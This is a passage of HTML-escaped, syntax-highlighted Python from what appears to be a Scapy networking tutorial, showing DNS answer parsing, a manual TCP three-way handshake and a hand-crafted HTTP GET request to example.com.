#9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span&gt;ancount&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ancount&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        rr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span&gt;an&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; rr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # A record&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;            print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;A:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; rr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;rdata&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
TCP Three-Way Handshake (Manual)
--------------------------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;192.168.0.10&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 80&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; RandShort&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;syn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;S&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;RandInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;syn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;getlayer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span&gt;flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # SYN+ACK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;A&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                          seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;3-way handshake established&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
Manual HTTP GET Request
-----------------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dst_ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;93.184.216.34&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # example.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;example.com&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; RandShort&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# SYN&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;syn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dst_ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;S&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;RandInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;syn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; raise&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; SystemExit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;No SYN&#x2F;ACK&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# ACK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dst_ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;A&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                         seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# HTTP GET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;GET &#x2F; HTTP&#x2F;1.1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;Host: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;Connection: close&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;\r\n\r\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;psh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dst_ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;PA&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                         seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;synack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;Raw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
